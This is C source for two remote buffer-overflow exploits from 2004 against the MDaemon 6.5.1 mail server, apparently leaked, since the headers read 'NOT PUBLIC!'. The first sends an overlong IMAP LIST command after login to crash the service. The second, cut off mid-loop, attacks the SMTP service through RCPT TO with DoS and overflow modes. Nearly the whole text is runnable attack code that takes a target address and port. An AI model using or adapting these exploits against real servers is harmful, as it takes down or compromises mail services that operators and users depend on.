///////////////////////////////////////////////////////////// // Remote proof-of-concept exploit // // for // // Mdaemon IMAP server v6.5.1 // // and // // possible other version. // // Find bug: D_BuG. // // Author: D_BuG. // // D_BuG@bk.ru // // Data: 16/09/2004 // // NOT PUBLIC! // // // ///////////////////////////////////////////////////////////// #include #include #include #include #include #include int sock,err; struct sockaddr_in sa; int main (int argc, char *argv[]) { printf("Remote proof-of-concept(buffer overflow) exploit\n"); printf(" for \n"); printf("Mdaemon IMAP server v6.5.1 and possible other version.\n"); if(argc!=3) { printf("Usage: %s \n",argv[0]); printf("e.g.:%s 192.168.1.1 143\n",argv[0]); exit(-1); } sa.sin_family=AF_INET; sa.sin_port=htons(atoi(argv[2])); if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0) printf("Error inet_pton\n"); sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); printf("[~]Connecting...\n"); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0) { printf("[-]Connect filed....\nExit...\n"); exit(-1); } char send[]="0001 LOGIN ""test"" ""console""\r\n"; char send3[]= "007x LIST " """aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA""" """ *BBBBBBBBBBaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAc""" "\r\n\r\n"; char rcv[1024]; printf("[+]Ok!\n"); sleep(2); printf("[~]Get banner...\n"); if(read(sock,&rcv,sizeof(rcv)) !=-1){} if(strstr(rcv,"IMAP")==NULL) { printf("[-]Failed!\n"); } else { printf("[+]Ok!\n"); } printf("[~]Send LOGIN and PASSWORD...\n"); write(sock,send,sizeof(send)-1); sleep(2); memset(rcv,0,1024); if(read(sock,&rcv,sizeof(rcv)) !=-1){} if(strstr(rcv,"OK")==NULL) { printf("[-]Failed login or password...\nExit..."); exit(-1); } printf("[+]Ok!\n"); printf("[~]Send LIST...\n"); write(sock,send3,sizeof(send3)-1); sleep(2); memset(rcv,0,1024); if(read(sock,&rcv,sizeof(rcv)) !=-1){} if(strstr(rcv,"BAD")!=NULL) { printf("[-]Exploit filed...please check your version Mdaemon!\n"); printf("[-]Exit...\n"); exit(-1); } printf("[+]Ok!\n"); printf("[+]Crash service.....\n"); printf("[~]Done.\n"); close(sock); return 0; } mdaemon_rcpt.c ///////////////////////////////////////////////////////////// // Remote DoS and proof-of-concept exploit // // for // // Mdaemon smtp server v6.5.1 // // and // // possible other version. // // Find bug: D_BuG. // // Author: D_BuG. // // D_BuG@bk.ru // // Data: 16/09/2004 // // NOT PUBLIC! // // Greets:Rasco. // ///////////////////////////////////////////////////////////// #include #include #include #include #include #include int sock,err; struct sockaddr_in sa; int main (int argc, char *argv[]) { printf("Remote DoS and proof-of-concept(buffer overflow) exploit\n"); printf(" for \n"); printf("Mdaemon smtp server v6.5.1 and possible other version.\n"); if(argc!=4) { printf("Usage: %s \n",argv[0]); printf("Target:\n1.DoS.\n2.Proof-of-concept(buffer overflow).\n"); printf("e.g.:%s 192.168.1.1 25 1\n",argv[0]); exit(-1); } sa.sin_family=AF_INET; sa.sin_port=htons(atoi(argv[2])); if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0) printf("Error inet_pton\n"); sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); printf("[~]Connecting...\n"); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0) { printf("[-]Connect filed....\nExit...\n"); exit(-1); } int len=247; if(atoi(argv[3])==2) { len++; } char szBuffer[len+7]; char buff[len]; char send[]="EHLO tester\n"; char send3[]="RCPT TO postmaster\n"; char rcv[1024]; int i; for(i=0;i